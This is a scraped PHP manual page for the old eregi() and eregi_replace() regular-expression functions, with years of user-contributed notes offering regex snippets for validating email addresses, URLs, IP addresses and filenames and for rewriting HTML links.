To simply convert wild input into a sensable sting, say for a filename I use:

function cleanString($wild) {
   return ereg_replace("[^[:alnum:]+]","",$wild);
}

echo cleanString("@#$&*$@#H~e'{}l{}l<o\{}"); // outputs: Hello
e dot boeters at planet dot nl
04-Jun-2004 07:46
This is a 'faster' way to highlight search results:

$content = str_replace($query, "<span class=\"highlight\">" . $query . "</span>", $content);
julien at ratatouille dot com dot fr
25-Nov-2003 10:28
This function replace < and > symbols between <code> and </code> tags by html code for lower than (&lt;) and greather than (&gt;) elements.

function retourne_format_code($texte)
{
   $tablo=split("<code>",$texte);
   $texte="";
   $texte.=$tablo[0];
   foreach($tablo as $cle=>$valeur)
   {
       if(eregi("</code>",$valeur))
       {
           $tablo1=split("</code>",$valeur);
           $tablo1[0]=eregi_replace("<","&lt;",$tablo1[0]);
           $tablo1[0]=eregi_replace(">","&gt;",$tablo1[0]);
           foreach($tablo1 as $cle1=>$valeur1)
           {
               if($cle1==0)
                   $valeur1="<code>".$valeur1."</code>";
               $texte.=$valeur1;
           }
       }
   }
   return $texte;
}
martin_goldmann at gmx dot net
19-Nov-2003 04:43
After reading the last message I wrote that de-spamizer:

function despamMailURI($myStrMail='')
{
   ?>javascript:void(location.href='mailto:'+<?=eregi_replace( "^([_\.0-9a-z-]+)@([0-9a-z][0-9a-z-]+)\.([a-z]{2,6})$", "'\\1'+'@'+'\\2'+'.'+'\\3'",$myStrMail)?>)<?
}

Usage example:
<a href="<?=despamMailURI("user@foo.bar")?>">Mail me</a>
iparanoid at gmx dot de
24-Aug-2003 12:03
To obtain the an email addresse in the scheme user at host dot use following function

function antispam_mail($mail) {
   return eregi_replace( "^([_\.0-9a-z-]+)@([0-9a-z][0-9a-z-]+)\.([a-z]{2,6})$", '\\1 at \\2 dot \\3',$mail );
};

Combined with a wee JavaScript (document.location='mailto:'+user+'@'+host+'.'+tld) this provides a very powerfull anti-spam mechanism while providing full mailto: link functionality.
chpins-php at romu92 dot freesurf dot fr
03-Jun-2003 07:15
/*new function for href2text : */

function AHREF2text($string) {
 return eregi_replace('(<a [^<]*href=["|\']?([^ "\']*)["|\']?[^>].*>([^<]*)</a>)','[\\3] (link: \\2)', $string);
}

// by Ch'Pins
buddy at directpay dot cz
15-May-2003 01:22
i had to solve problem conserning DB2 timestamp format. here is how to parse ANSI timestamp format to DB2 timestamp format:

$mydate = Date("Y-m-d H:i:s");

$var = eregi_replace
("([0-9]{4}-[0-9]{2}-[0-9]{2}) ([0-9]{2}):([0-9]{2}):([0-9]{2})"
,"\\1-\\2.\\3.\\4",$mydate);

echo "ANSI: $mydate, DB2 format: $var";

happy codding
buddy
eder at xce dot de
04-May-2003 10:23
/*As php at silisoftware dot com's example works only if there is not more than one link in $string, I rewrote his expression to function with strings containing multiple links: */

function AHREF2text($string) {
  return eregi_replace('(<a [^<]*href=["|\']?([^ "\']*)["|\']?[^>]*>([^<]*)</a>)','[\\3] (link: \\2)', $string);
}
Rainmaker526 at hotmail.com
10-Mar-2003 11:02
I have found that some characters cannot be used by eregi_replace (or ereg_replace). When you get the REG_BADRPT error, try backslashing any special chars in your pattern string

ex.
$str = eregi_replace("*", "", $somevar)

gives the REG_BADRPT error. Change it to
$str = eregi_replace("\*", "", $somevar)

to make it work
php at silisoftware dot com
19-Feb-2003 03:08
Transform HTML links into plain-text "links" with the URL visible

function AHREF2text($string) {
   return eregi_replace('<A .*HREF=("|\')?([^ "\']*)("|\')?.*>([^<]*)</A>', '[\\4] (link: \\2)', $string);
}

$HTMLstring = 'A link to <a href="http://www.php.net">PHP.net</A>';
echo AHREF2text($HTMLstring);
// prints:  A link to [PHP.net] (link: http://www.php.net)
simon_a99 at yahoo dot co dot uk
28-Aug-2002 03:07
To find a string regardless of case, you might want to use the matched string in the replacement string without changing its case.

For example, you're searching for $search = "letter" and the text being searched is $text = "post lEtTeR".  I want to change the format of the matched string.

Do this:
eregi_replace($search, "<b>\\0</b>", $text);

$text has now been changed to "post <b>lEtTeR</b>".  \\0 is the entire text matched (lEtTer in this case).
shane at unixcentral dot co dot za
07-Feb-2002 09:53
A Quick way of removing excess spaces:
<?
$string = "One        Two          Three  Four";

$var = eregi_replace(" +", " ", $string);

echo $var;
?>
add a note add a note

后退 | 起点 | 前进
ereg | 上一级 | eregi


eregi

(PHP 3, PHP 4, PHP 5)

eregi -- 不区分大小写的正则表达式匹配

说明

bool eregi ( string pattern, string string [, array regs] )

本函数和 ereg() 完全相同，只除了在匹配字母字符时忽略大小写的区别。

例子 1. eregi() 例子

<?php
if (eregi("z", $string)) {
    echo "'$string' contains a 'z' or 'Z'!";
}
?>

参见 ereg()，ereg_replace()，eregi_replace()，stripos() 和 stristr()。

add a note add a note User Contributed Notes
tim at rocketry dot org
30-Apr-2006 12:32
The easiest way I've found to validate a properly formed email address is this:

if(!eregi("^[[:alnum:]][a-z0-9_.-]*@[a-z0-9.-]+\.[a-z]{2,4}$", $_POST['EmailAddress'])) {
     echo "<p>Not a valid email address</p>\n";
}

It basically just wants to see some alphanumeric characters + an @ sign + a . + 2 to 4 alpha characters. So far it has done what I need for quite a while now.. Hope that helps someone. :)

Tim
info at stenschke dot com
03-Feb-2006 08:39
i needed a function to find hyperlinks containing a url as text of the hyperlink, exceeding a given maximum length.
here my function to finds too long hyperlinks and insert <br />s where needed into the linktext:

   function breakTooLongLinks($text,$maxLen) {
       //find hyperlinks that contain too many chars & insert <br>s where neccessary
       $pattern= '[>]www[.].*/*(.doc|.pdf|.htm|.html|.shtml|.php|.asp)(</a>|</A>)';
       $match= eregi($pattern, $text, $regs);
       if ($match) {
           foreach ($regs as $link) {
               if (strlen($link)>$maxLen) {
                   $linkParts= explode('/',$link);
                   $linkRepl= array(); $replI=0; $curLinkPart='';
                   foreach($linkParts as $linkPart) {
                       $curLinkPart.= $linkPart.'/';
                       if (strlen($curLinkPart)>$maxLen) {
                           $linkRepl[]= $curLinkPart;
                           $curLinkPart='';
                       }
                   }
                   $linkRepl= implode('<br />',$linkRepl);
                   $text= str_replace($link, $linkRepl, $text);
               }
           }
       }
       return $text;
   }
opedroso at swoptimizer dot com
07-Jan-2006 09:13
I you are trying to match accented characters (e.g. you want to match "Caf Ol"), you can use the following regex:

"[a-z- ]+"

This takes advantage of the fact that in the iso-8859-1 "Latin 1", the "" is the first accented char and the "", the last one.

By the way, the regex above will match this string as a single match:

"aeiou      "

Beware that your local code page may include a few more char codes in the range "[-]", so it may match more than you expect.
Jason Smart knarlin at yahoo dot com dot au
15-Oct-2005 01:28
There seems to be a lot of confusion about escaping special characters within a bracket expression enclosed in []

The reference is the regex man page at http://www.tin.org/bin/man.cgi?section=7&topic=regex , Linked from the "Regular Expression Functions (POSIX Extended)" page in the PHP manual at http://php.planetmirror.com/manual/en/ref.regex.php

The simple rule is there should be no backslash `\' in a bracket expression unless you are matching it literally.
ALL special characters (the few exceptions are listed below), lose their special significance in a bracket expression.
This includes .[$()|*+?{\ all of which have special meaning outside of a bracket expression, inside they will match LITERALLY!

The backslash character can never escape anything in a bracket expression including itself! It is always interpreted literally.

Here are the exceptions

^ at the start of the bracket expression will match on all but the set of characters within the bracket expression

- (hyphen) Indicates range, so [a-z] will match a single character in the range a-z (case insensitive for eregi).
  To match a literal `-' it must be at the start or end of the bracket expression or the end of a range, or enclosed in [. .] to be the start of a range.
  Examples:
  [0-9-]
  [-0-9]
  Both the above will match a single character from the set comprising the digits and hyphen `-'

  [!--] is the same as [!"#$%&'()*+,-]
  i.e. it matches a single character from the range of characters from `!' to hyphen `-'

  [[.-.]-9] is the same as [-./0123456789] or [./0123456789-]
  and will match a single digit from the range of characters from hyphen `-' to digit 9

] The closing bracket indicates the end of a bracket expression but not if it immediately follows the opening bracket `[' or `[^' in that case the closing bracket is matched literally.
  Examples:
  [][0-9] is the same as []0-9[]
  and matches a single character from the set of digits and a literal closing bracket `]' and opening bracket `]'

  [^][0-9] is the same as [^]0-9[]
  and matches a single character from the group of all characters except the set of digits and literal `]' or `['

Look at the regex man page for more on the above and the following special cases

[.characters.]
  A collating element
[=characters=]
  An equivalence class
[:alnum:]
  A character class

That's it for special cases! ALL other characters match literally within a bracket expression and can never be escaped with `\'

Here is a list of some of the postings here that have mistakenly tried to use special characters within a bracket expression.
28-Jan-2002 12:56, 09-Feb-2002 06:28, 24-Sep-2002 01:21, 08-Mar-2003 02:21, 11-Apr-2003 03:22 (uses `|' as if it was `or' it is not, it is a literal `|'), 27-Jun-2003 04:03, 06-Sep-2003 07:17, 20-Apr-2004 04:55, 24-Nov-2004 09:12, 25-Nov-2004 02:11, 06-Jan-2005 08:54, 24-Feb-2005 06:05

It seems people are copying each others mistakes so this needs to be cleared up. Most of the mistakes attempt to escape special characters within a bracket expression with backslash. That never works! A simple fix is to simply remove any backslashes within the bracket expression that are not meant to be matched literally.

The attempt to use | as 'or' within a bracketed expression should be put in parentheses instead.

I used a simple script attached to a form to test these results. Here's the script.
<?php
  if(isset($_POST['pattern']) && isset($_POST['teststring'])) {
   $pattern = stripslashes($_POST['pattern']);
   $teststring = stripslashes($_POST['teststring']);
   $match = ereg($pattern, $teststring, $regs);
   if(!$match) $match = 0;
   echo('<p>The regular expression is: '.$pattern.'</p>');
   echo('<p>The string for testing is: '.$teststring.'</p>');
   echo('<p>The number of matching characters is: '.$match.'</p>');
  }
?>
Just use a form with input fields named "pattern" and "teststring"

Hope this helps and clears up some misconceptions
Jason Smart
Monash University Student
manuel at cvam dot com dot ar
28-Jul-2005 06:47
Please note that event though email pattern submitted by bobocop at bobocop dot cz below is RFC compliant, actual domain names are not!

They do start with numbers (as in 1800flowers.com, etc), so the second line, domain, should be:
<?php
$domain = '([a-z0-9]([-a-z0-9]*[a-z0-9]+)?)';
?>
(everything else just like bobocop's comment from 02-May-2005 11:09)
somebody at somewhere dot com
10-May-2005 12:35
Say you want to validate a random sized string (at least one character though), and make sure it DOESN't contains anything BUT these characters: [:space:]a-zA-Z0-9_.-

function valid_name($name)
{

   // return FALSE if it contains characters which
   // which ARNT on the specified list
   if(ereg('[^[:space:]a-zA-Z0-9_.-]{1,}', $name))
   {
     return false;
   }
   else
   {
     return true;
   }

}
bobocop at bobocop dot cz
02-May-2005 11:09
<?php
// Completely update for match RFC 2822 and RFC 1035
// http://www.faqs.org/rfcs/rfc2822.html
// http://www.faqs.org/rfcs/rfc1035.html

// Example results:

$email[] = 'foo@example.com';                      // matched
$email[] = 'foo.bar@example.co.uk';                // matched
$email[] = 'foo_bar@example.com';                  // matched
$email[] = '_foo_bar@example.com';                // matched
$email[] = 'foo@example.example';                  // matched
$email[] = '%#a+f.*&654_-._@ee.xx';                // matched
$email[] = 'foo@abc-123.xx';                      // matched
$email[] = 'a@a.a.a.a.aa';                        // matched
$email[] = 'a@a9.aa';                              // matched
$email[] = 'a!b#c$d%e^f&g*h\'i+j-k{l|m}n_/@op.qr'; //matched

$email[] = '';                                    //separator

$email[] = 'foo@-example.com';                    // not matched
$email[] = 'foo@example-.com';                    // not matched
$email[] = '%#af.*&@a%#b.xx';                      // not matched
$email[] = 'a@a.99.00.a.aa';                      // not matched
$email[] = '_-._@-.--';                            // not matched
$email[] = 'any..thing@bla.bla';                  // not matched
$email[] = '@.';                                  // not matched
$email[] = '@.com';                                // not matched
$email[] = '@exam@exam.com';                      // not matched
$email[] = ' @ .com';                              // not matched
$email[] = '.bar@example.com';                    // not matched
$email[] = 'foo.@example.com';                    // not matched
$email[] = 'foo@example.x';                        // not matched

$atom = '[-a-z0-9!#$%&\'*+/=?^_`{|}~]';    // allowed characters for part before "at" character
$domain = '([a-z]([-a-z0-9]*[a-z0-9]+)?)'; // allowed characters for part after "at" character

$regex = '^' . $atom . '+' .        // One or more atom characters.
'(\.' . $atom . '+)*'.              // Followed by zero or more dot separated sets of one or more atom characters.
'@'.                                // Followed by an "at" character.
'(' . $domain . '{1,63}\.)+'.        // Followed by one or max 63 domain characters (dot separated).
$domain . '{2,63}'.                  // Must be followed by one set consisting a period of two
'$';                                // or max 63 domain characters.

foreach ($email as $example) {
   if (strlen($example) == 0):
       echo '&nbsp;<br>';
   else:
     if (eregi($regex, $example)):
       echo $example . ' matched<br>';
     else:
       echo '<strong>'. $example . ' not matched</strong><br>';
     endif;
   endif;
}
?>
gorbiz
16-Mar-2005 04:15
About the email verification posted by "emil at janesten dot com"

I figured the maximum length of top domains is more than 4, at least 6, (ex .museum).

Just replace {2,4} with {2,6},
like this:

<?php

$email = "user@example.com";
if (eregi("^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,6}$", $email)) {
   echo "'$email' is a valid email!";
}

?>
emil at janesten dot com
15-Mar-2005 05:43
At m.hoppe:

Perhaps this will help you verify an email address? I found it on http://www.regular-expressions.info

<?php
$email = "user@example.com";
if (eregi("^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,4}$", $email)) {
   echo "'$email' is a valid email!";
}
?>
m.hoppe /at/ hyperspeed /dot/ de
13-Mar-2005 06:31
The email verification regular expression works well, except if more than one @s existis (eg. address1@domain1.comaddress2@domain2.com). I'm not a regex Guru, so this check after the known regex works for me:

if ( count ( explode ( "@", $email ) ) != 2 )
...
Sergio Santana: ssantana at tlaloc dot imta dot mx
02-Mar-2005 08:32
Sometimes we require checking the syntax of
floating point numbers. Here is a php-code that
performs this task.

// To call this program:
//  php floats.php
//--------------------------
// Example of the use of regular expressions for checking
// the syntax of floating point numbers.
<?php
// This opens standard in ready for interactive input..
$STDIN = fopen("php://stdin","r");

for(;;) { // FOREVER-LOOP
  echo "Float>";
  $s = trim(fgets($STDIN,256));
  if ($s) {
   $le =
     eregi(
       "-?(([0-9]+e-?[0-9]+)|((([0-9]+\.[0-9]*)|(\.[0-9]+))" .
       "(e-?[0-9]+)?))",
         $s, $regs);
   if ($le==strlen($s))
     echo "Yes it's float\n";
   else if ($le > 0)
     echo "$le chars of the string correspond to a float\n";
   else
     echo "No, it isn't float\n";
  }
  else
   break;
}

fclose($STDIN);

?>
krum at estnet dot bg
24-Feb-2005 04:05
I was searching for a fast way to check all fields of a form, so I can
include the $_POST information directly to the sql query. So I wrote
another script in my class in order to check the submitted data. So here it
is:
<?
function check_post () {
 foreach ($_POST as $key => $val) {
  $$key = $val;
 }
 $data = Array();
 $data["^[a-z0-9!@#$%^&*]"] = Array ("first_name", "last_name",
 "nick", "pass", "description", "user", "message", "event", "name", "title",
 "text");
 $data['^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+'
.'@'.'[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.'
.'[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$'] = Array("mail");
 $data["^[0-9]{1,4}"] = Array("day", "month", "owner", "type", "forum_id", "topic_id");
 foreach ($data as $key => $val) {
  foreach ($val as $k => $c) {
   if ( isset($$c) ) {
   if ( !eregi($key, $$c) ) {
     echo "You have used an not allowed character in " .$$c. " field\n";
     exit;
   }
   }
  }
 }
}
?>
I hope it will help someone ^_^
sven.heinicke.org
04-Feb-2005 03:49
The  gethostbyname($regs[2]) == $regs[2] is a bad idea.  Some domain names have a MX record but not an IP number.  The first example I found is jhu.edu domain:

sven@chef:~$ host jhu.edu
jhu.edu A record currently not present
sven@chef:~$ host -t mx jhu.edu
jhu.edu                MX      10 smtp.johnshopkins.edu
dompie at gmail dot com
06-Jan-2005 06:54
@ mmc at nospam dot dk

Nice thinking!! But just a slight remark. This function isn't so general as you say.. f.e.: example@yahoo.co.uk.

Here is $regs[2] == yahoo.co , so 'Error: Can't find the host '
Therefor just a little change in the code:

<?
if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*"
   ."@([a-z0-9]+([\.-][a-z0-9]{1,})+)*$",
   $mail, $regs) )
{

   echo "Error: '$mail' isn't a valid mail address!\n";
}
elseif( gethostbyname($regs[2]) == $regs[2] )
{

   echo "Error: Can't find the host '$regs[2]'!<br>\n";
}
?>

Now you have a fine working mail validation.. (as far as i know =) )
selman17@yahoo com
25-Nov-2004 12:11
<?php

$iletisim="selman17@yahoo.com http://www.yahoo.com selman@yahoo.com";

$ilet=explode(" ",$iletisim);
$iletisim="";
for($i=0;$i<sizeof($ilet);$i++){

if(eregi("^.[a-zA-Z0-9_.\.-]+@[a-z0-9_]+\\.[a-z]+",$ilet[$i])){
$ilet[$i]= str_replace("$ilet[$i]","<a href='mailto:$ilet[$i]'>$ilet[$i]</a><br>",$ilet[$i]);
}
if(eregi("http://.[a-zA-Z0-9_.\.-]",$ilet[$i])){
$ilet[$i]= str_replace("$ilet[$i]","<a href='$ilet[$i]' target='_blank'>$ilet[$i]</a><br>",$ilet[$i]);
}
$iletisim .=$ilet[$i];
}
/* this will out put
<a href="mailto:selman17@yahoo.com">selman17@yahoo.com</a><br>
<a href="http://www.yahoo.com" target="_blank">http://www.yahoo.com</a><br>
<a href="mailto:selman@yahoo.com">selman17@yahoo.com</a>
*/
?>
cristian81 AT katamail DOT com
24-Nov-2004 07:12
The same "checkipaddress" function posted by "lueck at gerwan dot de", with the add of an optional jolly char suport. Returns TRUE or FALSE

Results:

check_ip_address('125.32.15.0') is TRUE
check_ip_address('125.32.15.*') is FALSE
check_ip_address('125.32.15.*', '*') is TRUE
check_ip_address('*.*.*.*', '*') is TRUE
check_ip_address('125.-.15.2', '-') is TRUE

<?php
function check_ip_address($checkip, $jolly_char='') {
   if ($jolly_char=='.')        // dot ins't allowed as jolly char
       $jolly_char = '';

   if ($jolly_char!='') {
       $checkip = str_replace($jolly_char, '*', $checkip);        // replace the jolly char with an asterisc
       $my_reg_expr = "^[0-9\*]{1,3}\.[0-9\*]{1,3}\.[0-9\*]{1,3}\.[0-9\*]{1,3}$";
       $jolly_char = '*';
   }
   else
       $my_reg_expr = "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$";

   if (eregi($my_reg_expr, $checkip)) {
       for ($i = 1; $i <= 3; $i++) {
           if (!(substr($checkip, 0, strpos($checkip, ".")) >= "0" && substr($checkip, 0, strpos($checkip, ".")) <= "255")) {
               if ($jolly_char!='') {            // if exists, check for the jolly char
                   if (substr($checkip, 0, strpos($checkip, "."))!=$jolly_char)
                       return false;
               }
               else
                   return false;
           }

           $checkip = substr($checkip, strpos($checkip, ".") + 1);
       }

       if (!($checkip >= "0" && $checkip <= "255")) {        // class D
           if ($jolly_char!='') {            // if exists, check for the jolly char
               if ($checkip!=$jolly_char)
                   return false;
           }
           else
               return false;
       }
   }
   else
       return false;

   return true;
}
?>
ian at hyperborea dot co dot uk
10-Nov-2004 07:15
I was looking for something to validate a URL, and as usual turned to 'php.net' as it provides an invaluable source of information. I couldn't find exactly what I wanted so came up with something of my own which I hope will be of use to others.

<?php
function validateURL($URL) {
   $domain = "([[:alpha:]][-[:alnum:]]*[[:alnum:]])
(\.[[:alpha:]][-[:alnum:]]*[[:alpha:]])+";
   $dir = "(/[[:alpha:]][-[:alnum:]]*[[:alnum:]])*";
   $page = "(/[[:alpha:]][-[:alnum:]]*\.[[:alpha:]]{3,5})?";
   $getstring = "(\?([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+)
(&([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+))*)?";
   $pattern = "^".$domain.$dir.$page.$getstring."$";
   return eregi($pattern, $URL);
}
?>
Be sure to enter each pattern on a single line.

The function accepts a URL and validates the domain, directory path, page and any GET parameters. You can see I have split the patterns for validating each section for easier reading and maintaining.

Domain Name:
This can be made of of many parts each seperated by a '.' (dot). each part must start with an alpha char. followed by any alphanumeric chars., or '-'. With the exception of the first part each part must end in an alpha char..

e.g. www.google.co.uk and www9.g-88gle.co.uk are valid, but 9ww.google.3o.uk and www.google4.co.uk3 are not.

Directory Path:
Each directory must start with a '/' followed by an alpha char., then any alpha numeric char., or '-', and ending in an alphanumeric char.

e.g. /path1/to-page is valid, but /path1-/2-page is not.

Page:
This is like the directory path but it must end with a '.' (dot) followed by 3-5 alpha chars.

e.g. /phpinfo.php and /page.shtml are valid, but /phpinfo.php4 and /pageshtml are not.

Get String:
This follows the page and begins with a '?'. This is then followed by key/value pairs each seperated by an '&'.

e.g. ?key1=value1&key2=value2

Each key, or value must start and end with an alpahnumeric char. I have allowed for a '%' to be specified for URL encoded chars., and also '_' (underscore) is allowed.

Well thats it hope it is of some use. It is NOT perfect, for instance in the 'getstring' I would like to ensure that encoded characters (i.e. %20) consist of a % symbol followed by two characters with values '0-9A-F' but couldn't get anything I tried to work.
I would welcome any suggestions or improvements, there are bound to be some.

Note: The patterns are based on an earlier post by 'fusillo at NOSPAM dot netgang dot it' for matching domain names. Thanks to him.
gabriel at gabrielharrison co uk
01-Nov-2004 08:19
There is a bug in the regex that means it doesn't work with a domain suffex that has two parts eg: .co.uk
I'm not good enough with regexs to sort this - sorry.

There can also be a problem if the domain doesn't have a domain entry without the www. subdomain. To solve this modify the code with:

elseif( gethostbyname($regs[2]) == $regs[2] ||
gethostbyname('www' . $regs[2]) == 'www' . $regs[2])
penglang at hotmail dot com
08-Oct-2004 03:08
URL iregular string, http iregular string.
some url like : http://www.go_o-gle.com

if( !eregi("^(http|https)+(:\/\/)+[a-z0-9_-]+\.+[a-z0-9_-]", $url ){
   //error message
}
marcelo at orionlab dot net
02-Sep-2004 07:34
A very sample code:

checking numbers:

<?php

// author: marcelo at orionlab dot net
// checking numbers

$number = 465324;

// match  0,1,2,3,4,5,6,7,8,9

   if( eregi("[0-9]",$number) )
   {

       printf("The variable contains numbers!");

   }

?>
max at ritlabs dot com
12-Jul-2004 08:08
You should use checkdnsrr($domain, "MX"), not gethostbyname(...)
chadkeffer at mail dot com
01-Jul-2004 07:42
There's seems to be some confusion on just what is allowed in an email address and thus how to build your regular expression.  RFC 2822 replaced RFC 822 over 3 years ago, so make sure you're referencing the correct RFC.  Also, don't assume all servers comply with the RFC.
gullevek at gullevek dot org
23-Jun-2004 04:58
for the comment from 'joseph dot ragsdale at xconduit dot com'

The regex has one bug thought. It elminates <user>@jp.t.ne.jp addresses which are completly valid as it needs at least 2 chars in the domain part.

This regex fixes it:

^[_a-z0-9-]+(\.[_a-z0-9-]+)*
@[a-z0-9-]+(\.[a-z0-9-]{1,})*\.([a-z]{2,}){1}$

[but the regex in one line]
kidproto at hotmail dot com
20-Apr-2004 02:55
"^[a-zA-Z0-9_\-]+(:?\.svg|\.wmf|\.zip|\.tar\.gz|\.tgz)$"

That is the proper file check for a well formatted beginning and ending filename for those select files. The one in this list is incorrect for at least php 4.3.0 which is what I'm using.

The (:?) makes sure that the parentheses aren't used for storing the matched regex.
fusillo at NOSPAM dot netgang dot it
04-Jan-2004 06:24
This is a simple function that uses eregi() function to validate a domain name (according to the RFC 1034).

function check_host($host) {
if (
   eregi("^[[:alpha:]]+([-[:digit:][:alpha:]]*
         [[:digit:][:alpha:]])*(\.[[:alpha:]]+
         ([-[:digit:][:alpha:]]*[[:digit:][:alpha:]])*)
         *$",$host)
  ) {
       return 1;
   } else return 0;
};

NOTE: This expression must be written on a single line to work
I had to brake it on separate lines to post on the site.

Returns 1 if $host is an RFC compliant domain name else returns 0.

This function is part of the code of blackboxed linux distribution coming on your screen late genuary.

-fusillo-
alexm(_A_T_)factory7.com
11-Dec-2003 04:30
A little interesting and hopefully on topic point I found while browsing the internet at: http://www.clemburg.com/x1713.html#AEN1717

According to RFC 822 (see http://www.rfc-editor.org/), email addresses
are case-sensitive in the part before the "@" sign, except for the
special address "POSTMASTER", which is not case-sensitive. The part
after the "@" sign is a host name, and is not case-sensitive.

Note that many organizations will implement an aliasing facility that
recognizes alternative forms for an email address (e.g., providing
"John.Doe@my.organization.com", "john.doe@my.organization.com",
"doe@my.organization.com", "Doe@my.organization.com" etc.). However,
this is not required by the standard as specified in RFC 822.

so you may want to keep that in mind....
i.e. breakup the username/alias (ereg) and domain (eregi) parts of the email
lueck at gerwan dot de
14-Nov-2003 08:08
Just a simple ip address validation function. The function does only check that the ip address is in a correct format (IPv4):

function checkipaddress($checkip) {
   if (eregi("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$", $checkip)) {
       for ($i = 1; $i <= 3; $i++) {
           if (!(substr($checkip, 0, strpos($checkip, ".")) >= "0" && substr($checkip, 0, strpos($checkip, ".")) <= "255")) {
               echo "Der ".$i.". Block der IP-Adresse hat kein gltiges Format!";
               return false;
           }
           $checkip = substr($checkip, strpos($checkip, ".") + 1);
       }

       if (!($checkip >= "0" && $checkip <= "255")) {
           echo "Der 4. Block der IP-Adresse hat kein gltiges Format!";
           return false;
       }
   }
   else {
       echo "Die IP-Adresse hat kein gltiges Format!";
       return false;
   }
return true;
}
joseph dot ragsdale at xconduit dot com
07-Nov-2003 06:31
I'm posting this as a - hopefully - helpful example to those who are learning regular expressions. Apologies to the documentation team and moderators for posting yet another email address validation example, but it's hard to argue against it as most everyone will see regular expressions as being a solution to this problem.

<?php
// Example results:

$email[] = 'foo@example.com';      // matched
$email[] = 'foo.bar@example.co.uk'; // matched
$email[] = 'foo_bar@example.com';  // matched
$email[] = '_foo_bar@example.com';  // matched
$email[] = 'foo@example.example';  // matched
$email[] = '_-._@-.--';            // matched

$email[] = '@.';              // not matched
$email[] = '@.com';            // not matched
$email[] = ' @ .com';          // not matched
$email[] = '.bar@example.com'; // not matched
$email[] = 'foo.@example.com'; // not matched
$email[] = 'foo@example.x.y';  // not matched

$regex =
  '^'.
  '[_a-z0-9-]+'.        /* One or more underscore, alphanumeric,
                           or hyphen charactures. */
  '(\.[_a-z0-9-]+)*'.  /* Followed by zero or more sets consisting
                           of a period and one or more underscore,
                           alphanumeric, or hyphen charactures. */
  '@'.                  /* Followed by an "at" characture. */
  '[a-z0-9-]+'.        /* Followed by one or more alphanumeric
                           or hyphen charactures. */
  '(\.[a-z0-9-]{2,})+'. /* Followed by one or more sets consisting
                           of a period and two or more alphanumeric
                           or hyphen charactures. */
  '$';

foreach ($email as $example) {
  if (eregi($regex, $example)) {
   echo $example . ' matched<br>';
  } else {
   echo $example . ' not matched<br>';
  }
}
?>
banerian at u dot washington dot edu
17-Sep-2003 09:55
It should be noted that in the function validateEmail, the final verification relies on the mail server responding to the test $email with a reply code of 250.  Nowadays, many/most/all servers will reply 250/Ok for any  user@thier.domain regardless of whether or not the userid actually exists.  mail servers tend to accept the mail (if it passes other checks), and if the user really does not exist, it just "bounces" the mail back to sender.  thus the validateEmail function can give false positives...an unfortunate victim of having to deal with spam.
Hodfords
06-Sep-2003 05:17
Most of the Ereg functions for emails that I have seen do not
work for emails like :-

joe@something.co..uk

And emails such as
joe@something.co.uk+1234

This eregi which we put together, I think works, it should be just one line, but php.net did not let us submit, because it said that even after using wordwrap() the line was too long :-

$ereg_string =
"^[\'+\\./0-9A-Z^_\`a-z{|}~\-]+@
[a-zA-Z0-9_\-]+(\.[a-zA-Z0-9_\-]+){1,3}$";

Adjust the number "3" right at the end to whatever number
you want.

A long domain name such as "@finance.uk.yahoo.co.uk" which
has 5 parts will require the number to be higher.
tomi at vacilando dot net
27-Jun-2003 02:03
Keran's solution is a good one but I found it does not work for a small number of domains -- because of a bug in gethostbyname() that causes some valid domains not to resolve properly. The workaround is to test such domains with "www." added to the beginning. This script does all that and works perfectly for me. Enjoy!

// Function to validate emails.
function validate_email($email_raw)
   {
   // replace any ' ' and \n in the email
   $email_nr = eregi_replace("\n", "", $email_raw);
   $email = eregi_replace(" +", "", $email_nr);
   $email = strtolower( $email );
   // do the eregi to look for bad characters
   if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*". "@([a-z0-9]+([\.-][a-z0-9]+))*$",$email) ){
     // okay not a good email
     $feedback = 'Error: "' . $email . '" is not a valid e-mail address!';
     return $feedback;
     } else {
     // okay now check the domain
     // split the email at the @ and check what's left
     $item = explode("@", $email);
     $domain = $item["1"];
     if ( ( gethostbyname($domain) == $domain ) )
       {
         if ( gethostbyname("www." . $domain) == "www." . $domain )
             {
               $feedback = 'Error: "' . $domain . '" is most probably not a valid domain!';
               return $feedback;
             }
       // ?
           $feedback = "valid";
           return $feedback;
       } else {
       $feedback = "valid";
       return $feedback;
       }
     }
   }
steve at brainwashstudios dot com
11-Apr-2003 01:22
why not match some filenames?

if (!ereg("^[a-ZA-Z0-9]+[/.gif|/.jpg|/.png]$",$match){
 echo "Invalid Filename";
}else{
 if (file_exists($match)){
  echo "blah";
 }
}

I suppose that would work off the top of my head but I have yet to test it, so you may want to check it first.
keran at kiwi-interactive dot com
08-Mar-2003 12:21
I couldn't get any of the email validation items above to actually work (maybe I'm thick) :)

So I adapted a couple and came up with this, and it seems to work

// function to validate email
function validate_email($email_raw) {

   // replace any ' ' and \n in the email
   $email_nr = eregi_replace("\n", "", $email_raw);
   $email = eregi_replace(" +", "", $email_nr);

   // do the ergei to look for bad characters
  if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*".
"@([a-z0-9]+([\.-][a-z0-9]+))*$",$email) ){
   // okay not a good email
   $feedback = "Error: $email isn't a valid mail address!";
   return $feedback;
   } else {
       // okay now check the domain
       // split the email at the @ and check what's left
       $item = explode("@", $email);
       $domain = $item["1"];
       if( gethostbyname($domain) == $domain) {
           $feedback = "Error: $domain isn't a valid domain!";
           return $feedback;
       } else {
           $feedback = "valid";
           return $feedback;
       }
   }

}
slavo at polovnictvo-mn dot sk
20-Feb-2003 09:30
This is what I found (by Jon S. Stevens jon@clearink.com with
Copyright 1998 Jon S. Stevens, Clear Ink)

function validateEmail ($email){
   global $SERVER_NAME;
   $return = array(false,  "" );
   list ($user, $domain) = split( "@", $email, 2);
   $arr = explode( ".", $domain);
   $count = count ($arr);
   $tld = $arr[$count - 2] .  "." . $arr[$count - 1];
